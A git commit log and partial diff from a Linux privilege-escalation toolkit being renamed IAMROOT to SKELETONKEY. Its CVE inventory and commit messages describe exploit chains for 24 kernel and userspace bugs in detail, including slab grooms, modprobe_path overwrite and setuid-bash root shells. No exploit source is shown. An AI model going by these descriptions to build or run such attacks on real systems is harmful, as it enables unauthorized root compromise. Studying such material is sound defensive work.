9 Commits

Author SHA1 Message Date
leviathan 9593d90385 rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
2026-05-16 22:43:49 -04:00
leviathan 9d88b475c1 v0.3.1: --dump-offsets tool + NOTICE.md per module
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The README has been claiming "each module credits the original CVE
reporter and PoC author in its NOTICE.md" since v0.1.0, but only
copy_fail_family actually shipped one. Fixed.

  modules/<name>/NOTICE.md (×19 new + 1 existing): per-module
    research credit covering CVE ID, discoverer, original advisory
    URL where public, upstream fix commit, IAMROOT's role.

  iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets
    via the existing core/offsets.c four-source chain (env →
    /proc/kallsyms → /boot/System.map → embedded table), then emits
    a ready-to-paste C struct entry for kernel_table[]. Run once
    as root on a target kernel build; upstream via PR. Eliminates
    fabricating offsets — every shipped entry traces back to a
    `iamroot --dump-offsets` invocation on a real kernel.

  docs/OFFSETS.md: documents the --dump-offsets workflow.
  CVES.md: notes the NOTICE.md convention + offset dump tool.

  iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.
2026-05-16 22:33:43 -04:00
leviathan 1bcfdd0c9f release: v0.3.0 — 4 new CVE modules (24 total)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
iamroot.c: bump IAMROOT_VERSION 0.2.0 → 0.3.0
  CVES.md: add inventory entries for nft_set_uaf, af_unix_gc,
           nft_fwd_dup, nft_payload; extend operations table;
           bump counts (🟢 13 · 🟡 11 · 🔵 0 ·  1).
  README.md: update Status to 24 modules, list all 11 🟡 modules.

Module families now spanning:
  - copy_fail_family (page-cache write)
  - nf_tables (4 modules: nf_tables, nft_set_uaf, nft_fwd_dup, nft_payload)
  - af_packet (2 modules: af_packet, af_packet2)
  - overlayfs (2 modules: overlayfs CVE-2021-3493, overlayfs_setuid)
  - af_unix (new in v0.3.0)
  - plus 10 single-CVE families
2026-05-16 22:25:15 -04:00
leviathan 5a808e3583 modules: 4 new CVE modules — nft_set_uaf + af_unix_gc + nft_fwd_dup + nft_payload
Each module: detect with branch-backport ranges + userns reach +
hand-rolled trigger + msg_msg cross-cache groom + slabinfo witness
+ /tmp/iamroot-<name>.log breadcrumb + auditd rules + --full-chain
finisher (FALLBACK depth, sentinel-arbitrated).

  nft_set_uaf (CVE-2023-32233, +1033): anonymous-set UAF
                (Sondej+Krysiuk). 5.1 → 6.4. nfnetlink batch:
                NEWTABLE → NEWCHAIN → NEWSET(ANON|EVAL) →
                NEWRULE(lookup) → DELSET → DELRULE; cg-512 spray.

  af_unix_gc (CVE-2023-4622, +813): GC race UAF (Lin Ma). ~2.0 → 6.5
                — widest range of any module. Two-thread race driver
                (SCM_RIGHTS cycle vs unix_gc trigger) + kmalloc-512
                spray. No userns needed.

  nft_fwd_dup (CVE-2022-25636, +1024): nft_fwd_dup_netdev_offload
                heap OOB (Aaron Adams). 5.4 → 5.17. NFT_CHAIN_HW_OFFLOAD
                chain + 16 immediates + fwd to overrun action.entries[].

  nft_payload (CVE-2023-0179, +1136): set-id memory corruption
                (Davide Ornaghi). 5.4 → 6.2. NFTA_SET_DESC variable
                element + NFTA_SET_ELEM_EXPRESSIONS with payload-set
                whose verdict.code drives the regs->data[] OOB.

All 4 honor verified-vs-claimed: trigger fires, primitive grooms, no
fabricated offsets. EXPLOIT_OK only via empirical setuid-bash sentinel.

Build clean on Debian 6.12.86; all 4 refuse cleanly on both default
and --full-chain paths via the existing patched-kernel detect gate.
2026-05-16 22:24:15 -04:00
leviathan 6a0a7d8718 scaffold: 4 new module dirs + registry/Makefile wiring (stubs)
Pre-scaffolding for the next batch (CVE-2023-32233, CVE-2023-4622,
CVE-2022-25636, CVE-2023-0179). Each module ships as a 21-line
stub returning PRECOND_FAIL; parallel agents fill in the real
detect/exploit/--full-chain implementations.

This commit keeps registry.h / iamroot.c / Makefile in one place
so the 4 parallel agents don't collide on shared-file edits — they
each own a single iamroot_modules.c.

Build clean on Debian 6.12.86; --list shows all 24 modules
including the 4 new stubs.
2026-05-16 22:17:47 -04:00
leviathan e2a3d6e94f release: v0.2.0 — --full-chain root-pop opt-in across 7 🟡 modules
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0
  CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md
  README.md: update Status section for v0.2.0
  docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table
                   resolution chain + operator workflow for populating
                   offsets per kernel build + sentinel-based success
                   arbitration.

All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.
2026-05-16 22:06:14 -04:00
leviathan c1d1910a90 modules: wire --full-chain root-pop into all 7 🟡 PRIMITIVE modules
Each module now exposes an opt-in full-chain root-pop via --full-chain:
default --exploit behavior is unchanged (primitive-only, returns
EXPLOIT_FAIL). With --full-chain, after primitive lands, modules call
iamroot_finisher_modprobe_path() via a module-specific arb_write_fn
that re-uses the same trigger + slab groom to write a userspace
payload path into modprobe_path[], then exec a setuid bash dropped
by the kernel-invoked modprobe.

  netfilter_xtcompat (+239): msg_msg m_list_next stride-seed FALLBACK
  af_packet (+316):          sk_buff data-pointer stride-seed FALLBACK
  af_packet2 (+156):         tp_reserve underflow + skb spray, LAST RESORT
  nf_tables (+275):          forged pipapo_elem with kaddr value-ptr
                             (Notselwyn offset 0x10), FALLBACK
  cls_route4 (+251):         msg_msg refill of UAF'd filter, FALLBACK
  fuse_legacy (+291):        m_ts overflow + MSG_COPY sanity gate,
                             FALLBACK (one of two modules with a real
                             post-write sanity check)
  stackrot (+233):           race-driver budget extended 3s → 30s when
                             --full-chain; honest <1% race-win/run

All seven honor verified-vs-claimed: arb_write_fn returns 0 for
"trigger structurally fired"; the shared finisher's setuid-bash
sentinel poll is the empirical arbiter. EXPLOIT_OK only when the
sentinel materializes within 3s of the modprobe_path trigger.

Build clean on Debian 6.12.86 (kctf-mgr); all 7 modules refuse
cleanly on both default and --full-chain paths via the existing
patched-kernel detect gate (short-circuits before the new branch).
2026-05-16 22:04:40 -04:00
leviathan 125ce8a08b core: add shared finisher + offset resolver + --full-chain flag
Adds the infrastructure the 7 🟡 PRIMITIVE modules can wire into for
full-chain root pops.

  core/offsets.{c,h}: four-source kernel-symbol resolution chain
    1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, …)
    2. /proc/kallsyms (only useful when kptr_restrict=0 or root)
    3. /boot/System.map-$(uname -r) (world-readable on some distros)
    4. embedded table keyed by uname-r glob (entries are
       relative-to-_text, applied on top of an EntryBleed kbase leak;
       seeded empty in v0.2.0 — schema-only — to honor the
       no-fabricated-offsets rule).

  core/finisher.{c,h}: shared root-pop helpers given a module's
    arb-write primitive.
      Pattern A (modprobe_path):
        write payload script /tmp/iamroot-mp-<pid>.sh, arb-write
        modprobe_path ← that path, execve unknown-format trigger,
        wait for /tmp/iamroot-pwn-<pid> sentinel + setuid bash copy,
        spawn root shell.
      Pattern B (cred uid): stub — needs arb-READ too; modules use
        Pattern A unless they have read+write.
    On offset-resolution failure: prints a verbose how-to-populate
    diagnostic and returns EXPLOIT_FAIL honestly.

  core/module.h: + bool full_chain in iamroot_ctx

  iamroot.c: + --full-chain flag (longopt 7, sets ctx.full_chain)
             + help text describing primitive-only-by-default + the
               opt-in to attempt the full chain.

  Makefile: add core/offsets.o + core/finisher.o to CORE_SRCS.

Build clean on Debian 6.12.86; --help renders the new flag.
2026-05-16 21:56:03 -04:00
leviathan 3a5105c84c README: clarify iamroot runs unprivileged + add non-root → root demo
The whole point of an LPE tool is going from unprivileged to root,
but the Quickstart was leading with `sudo iamroot --scan`. Fix:

  - Drop sudo from --scan / --audit / --exploit / --detect-rules.
    These work without root (--scan reads /proc + /etc; --audit
    walks the FS via stat; --exploit IS the privilege escalation;
    --detect-rules emits to stdout).
  - Keep sudo only where it's actually needed: --mitigate (writes
    /etc/modprobe.d + sysctl) and tee'ing rule files into
    /etc/audit/rules.d/.
  - Add a worked example showing `id` as uid=1000, then
    `iamroot --exploit dirty_pipe --i-know`, then `id` as uid=0.
  - Fix the Build & run section's `sudo ./iamroot` too.
2026-05-16 21:51:32 -04:00
105 changed files with 8776 additions and 1272 deletions
+9 -9
View File
@@ -37,22 +37,22 @@ jobs:
make
fi
- name: sanity — iamroot --version
run: ./iamroot --version
- name: sanity — skeletonkey --version
run: ./skeletonkey --version
- name: sanity — iamroot --list
run: ./iamroot --list
- name: sanity — skeletonkey --list
run: ./skeletonkey --list
- name: sanity — iamroot --scan (no exploit; just detect)
run: ./iamroot --scan --no-color || true
- name: sanity — skeletonkey --scan (no exploit; just detect)
run: ./skeletonkey --scan --no-color || true
# exit code may be nonzero (vulnerable host = exit 2, missing
# precond = exit 4) — that's diagnostic data, not CI failure
- name: sanity — --detect-rules auditd
run: ./iamroot --detect-rules --format=auditd | head -50
run: ./skeletonkey --detect-rules --format=auditd | head -50
- name: sanity — --detect-rules sigma
run: ./iamroot --detect-rules --format=sigma | head -50
run: ./skeletonkey --detect-rules --format=sigma | head -50
# Static build job: ensures the project links cleanly when -static is
# requested. Useful for deployment to minimal containers / fleet scans
@@ -75,7 +75,7 @@ jobs:
# gate the merge on it. Migrate to musl-gcc when we want a
# truly portable static binary.
continue-on-error: true
run: make static && ls -la iamroot
run: make static && ls -la skeletonkey
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
# the binary against a VM running a specific (vulnerable or patched)
+18 -18
View File
@@ -7,7 +7,7 @@ name: release
# Maintainer flow:
# git tag v0.1.0
# git push origin v0.1.0
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
on:
push:
@@ -44,20 +44,20 @@ jobs:
CC: ${{ matrix.cc }}
run: |
make
file iamroot
ls -la iamroot
file skeletonkey
ls -la skeletonkey
- name: rename + checksum
run: |
mv iamroot iamroot-${{ matrix.target }}
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4
with:
name: iamroot-${{ matrix.target }}
name: skeletonkey-${{ matrix.target }}
path: |
iamroot-${{ matrix.target }}
iamroot-${{ matrix.target }}.sha256
skeletonkey-${{ matrix.target }}
skeletonkey-${{ matrix.target }}.sha256
release:
needs: build
@@ -72,7 +72,7 @@ jobs:
- name: flatten artifacts
run: |
find dist -type f -exec mv {} . \;
ls -la iamroot-*
ls -la skeletonkey-*
- name: collect release notes
id: notes
@@ -81,16 +81,16 @@ jobs:
echo "tag=$tag" >> "$GITHUB_OUTPUT"
# Pull the latest entry from CVES.md / ROADMAP.md for the body
{
echo "## IAMROOT $tag"
echo "## SKELETONKEY $tag"
echo
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
echo
echo "### Install"
echo
echo '```bash'
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
echo "iamroot --version"
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
echo "skeletonkey --version"
echo '```'
echo
echo "Or one-shot via the install script:"
@@ -109,12 +109,12 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.notes.outputs.tag }}
name: IAMROOT ${{ steps.notes.outputs.tag }}
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
body_path: release-notes.md
files: |
iamroot-x86_64
iamroot-x86_64.sha256
iamroot-arm64
iamroot-arm64.sha256
skeletonkey-x86_64
skeletonkey-x86_64.sha256
skeletonkey-arm64
skeletonkey-arm64.sha256
install.sh
fail_on_unmatched_files: false # install.sh may not exist at first tag
+1 -1
View File
@@ -5,7 +5,7 @@ build/
*.dSYM/
modules/*/build/
modules/*/dirtyfail
modules/*/iamroot
modules/*/skeletonkey
.vscode/
.idea/
*.swp
+31 -14
View File
@@ -1,6 +1,6 @@
# CVE inventory
The curated list of CVEs IAMROOT exploits, with patch status and
The curated list of CVEs SKELETONKEY exploits, with patch status and
module status. Updated as new modules land or as upstream patches
ship.
@@ -8,22 +8,31 @@ Status legend:
- 🟢 **WORKING** — module verified to land root on a vulnerable host
- 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
+ empirical witness) on a vulnerable host, but stops short of the
full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly;
useful as a vuln-verification probe and a continuation point for
full chains. Per-kernel offsets deliberately not shipped.
+ empirical witness) on a vulnerable host. By default returns
`EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain`
to additionally attempt root pop via the shared `modprobe_path`
finisher (`core/finisher.{c,h}`) — requires kernel offsets via
env vars / `/proc/kallsyms` / `/boot/System.map`; see
[`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns
`EXPLOIT_OK` and drops a root shell; on failure returns
`EXPLOIT_FAIL` — never claims root without an empirical
setuid-bash sentinel.
- 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
exploit. (No module is currently in this state — every registered
module now fires either a full chain or a primitive.)
exploit. (No module is currently in this state.)
-**PLANNED** — stub exists, work not started
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts (v0.1.0):** 🟢 13 · 🟡 7 · 🔵 0 · ⚪ 1 · 🔴 0
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `skeletonkey --dump-offsets` populates the
embedded offset table for new kernel builds — operators with
root on a host can upstream their kernel's offsets via PR.
## Inventory
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|---|---|---|---|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -31,9 +40,9 @@ Status legend:
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -42,10 +51,14 @@ Status legend:
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
## Operations supported per module
@@ -74,6 +87,10 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
| fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
| nft_set_uaf | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
## Pipeline for additions
@@ -96,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module.
## Why we exclude some things
- **0-days the maintainer found themselves**: those go through
responsible disclosure first, then enter IAMROOT after upstream patch
responsible disclosure first, then enter SKELETONKEY after upstream patch
- **kCTF VRP submissions in flight**: same as above; disclosure
before bundling
- **Hardware-specific side channels** (Spectre/Meltdown variants):
+48 -28
View File
@@ -1,15 +1,15 @@
# IAMROOT — top-level Makefile (Phase 1)
# SKELETONKEY — top-level Makefile (Phase 1)
#
# Builds one binary `iamroot` linked from:
# Builds one binary `skeletonkey` linked from:
# - core/ module interface + registry
# - modules/<f>/ one family per subdir, contributes objects to the
# final binary
# - iamroot.c top-level dispatcher
# - skeletonkey.c top-level dispatcher
#
# Each family is currently flat (Phase 1 keeps copy_fail_family's
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
# Future families register the same way: add their register_* call to
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
